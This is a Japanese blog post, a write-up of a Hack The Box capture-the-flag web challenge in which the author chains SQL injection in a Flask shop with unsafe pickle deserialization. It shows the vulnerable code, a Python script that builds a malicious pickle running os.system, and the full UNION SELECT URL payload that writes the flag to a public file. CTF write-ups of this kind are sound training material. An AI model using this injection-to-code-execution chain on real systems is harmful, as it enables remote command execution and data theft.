👚

C.O.P(HTB)

2022/12/07に公開

初めてWrite upとか攻略系のヒント見ずにできた~!
3日かかった。。

過程

とりあえずコードを見る

/challenge/models.py
class shop(object):

    @staticmethod
    def select_by_id(product_id):
        return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

SQLインジェクションみがあるのでselect_by_idを追う

/challenge/application/blueprints/routes.py
@web.route('/view/<product_id>')
def product_details(product_id):
    return render_template('item.html', product=shop.select_by_id(product_id))

/challenge/application/database.py
def query_db(query, args=(), one=False):
    with app.app.app_context():
        cur = get_db().execute(query, args)
        rv = [dict((cur.description[idx][0], value) \
            for idx, value in enumerate(row)) for row in cur.fetchall()]
        return (next(iter(rv[0].values())) if rv else None) if one else rv

何も分からない。。一個一個調べるの巻。ここでたくさん時間を使う

/view/1/view/1'||'で動作することを確認。でも違うことをすると500レスポンスになってしまう。悩む。

分からんから先を追ってみるかと思ってindex.htmlを見る

/challenge/application/templetes/index.html
        <section class="py-5">
            <div class="container px-4 px-lg-5 mt-5">
                <div class="row gx-4 gx-lg-5 row-cols-2 row-cols-md-3 row-cols-xl-4">
                    {% for product in products %}
                    {% set item = product.data | pickle %}

pickleを確認。ググる。
https://docs.python.org/ja/3/library/pickle.html

警告 pickleモジュールは 安全ではありません 。信頼できるデータのみを非 pickle 化してください。
非 pickle 化の過程で任意のコードを実行する ような、悪意ある pickle オブジェクトを生成することが可能です。信頼できない提供元からのデータや、改竄された可能性のあるデータの非 pickle 化は絶対に行わないでください。

なるほど、これを使うんやな

しばらく悩む。
SQLインジェクションを成功させて、悪意のある値をpickleに渡すことで任意コードを実行させるという方法なのかな~と考える。
まずはSQLインジェクションをちゃんと成功させようという思考になる

まず1'--で--が使えることを確認
1'||+'でも1||%20'でもRepeaterなら動くことを確認
1'+UNION+SELECT+'1'--は動かない。悩む

ひとまずDockerで動かしてみて考えることにする。

以下、しばらくローカル環境

/challenge/application/blueprints/routes.pyを変更
@web.route('/view/<product_id>')
def product_details(product_id):
    print("product_id is \n")
    print(product_id)
    product = shop.select_by_id(product_id)
    print("product is \n")
    print(product)
    return render_template('item.html', product=product)
/challenge/application/blueprints/routes.pyを変更
@app.template_filter('pickle')
def pickle_loads(s):
    print("s is \n")
    print(s)
    pickle_str = pickle.loads(base64.b64decode(s))
/challenge/application/templetes/index.htmlを変更
<div class="row gx-4 gx-lg-5 row-cols-2 row-cols-md-3 row-cols-xl-4">
    {% for product in products %}
    {% set item = product.data | pickle %}
    {{ item }}

(他にも書いたり消したりして色々してみた気がするけど忘れた。)
SQLのエラー→binascii.Error: Invalid base64-encoded string: number of data characters (21) cannot be 1 more than a multiple of 4
を確認。base64?

cop.py作成
import base64
import sys
import pickle

input_str = input("Please input strings>")
encoded = base64.b64encode(input_str.encode())
print("encoded is: ", encoded)

pickle_dump_value = base64.b64encode(pickle.dumps(input_str)).decode()
print("pickle encode value is: \n", pickle_dump_value)

コードを真似してpickle.dumpしてみる

cmd
$ python cop.py
Please input strings>1
gASVBQAAAAAAAACMATGULg==


0'%20UNION%20ALL%20SELECT%20'gASVBQAAAAAAAACMATGULg=='--でid=1の商品詳細が表示された!(確かこの値だったはず)

SQLインジェクションの方はこれでいい感じだと仮定して、pickleのペイロードを探す。
色々やってpickleのエラーが表示されることが続く。。

pickle python vulnerabilityとかpickle python RCEpython pickle serialization vulnerabilityみたいなワードが結構いい感じに検索に引っかかった。python pickle コード実行とかは全然引っかからんかった
https://qiita.com/elliot_tk/items/96d2e6476e028ac72663

これだ!

cop3.py作成
import pickle
import os
import base64

class Test:
  def __reduce__(self):
    cmd = "cat flag.txt"
    return (os.system,(cmd,))

pickled_data = pickle.dumps(Test())
print((base64.b64encode(pickled_data)).decode())

cmd
$ python cop3.py

出てきた値を投げてみる

ブラウザ上にflag.txtの情報が無い。。。
けどなぜかコンソールにHTB{f4k3_fl4gs_f0r_t3st1ng}が表示されてることに気づく

/challenge/application/database.py
class Item:
	def __init__(self, name, description, price, image):
		self.name = name
		self.description = description
		self.image = image
		self.price = price

def migrate_db():
    items = [
        Item('Pickle Shirt', 'Get our new pickle shirt!', '23', '/static/images/pickle_shirt.jpg'),
        Item('Pickle Shirt 2', 'Get our (second) new pickle shirt!', '27', '/static/images/pickle_shirt2.jpg'),
        Item('Dill Pickle Jar', 'Literally just a pickle', '1337', '/static/images/pickle.jpg'),
        Item('Branston Pickle', 'Does this even fit on our store?!?!', '7.30', '/static/images/branston_pickle.jpg')
    ]

これを見つつ調整して、{{ item.name }}にflag.txtを表示させなきゃいけない、、、ってこと!?
としばらく悩む

実行されているのであれば、ファイル作成すればみれるのでは?と思う、やってみる
cmd = "cat flag.txt >> test.txt"でファイル作成されたことを確認
商品画像があるパスならいけるやろ思い、cmd = "cat flag.txt >> /app/application/static/images/test.txt"にして、もう一度python cop3.pyする

ブラウザで/static/images/test.txtにアクセスしてHTB{f4k3_fl4gs_f0r_t3st1ng}が表示されたことを確認!

target ipへ

http://{TAEGET_IP}/view/x'%20UNION%20ALL%20SELECT%20'gASVUgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDdjYXQgZmxhZy50eHQgPj4gL2FwcC9hcHBsaWNhdGlvbi9zdGF0aWMvaW1hZ2VzL3Rlc3QudHh0lIWUUpQu'--へアクセス

http://{TAEGET_IP}/static/images/test.txtへアクセス

flag表示されたー!

終わり!

他のwrite up見ようと思ったけど、さらっと検索した感じなさそうだった。
みんなどうやってやったんだろう。。
また思い出したら来よう

Discussion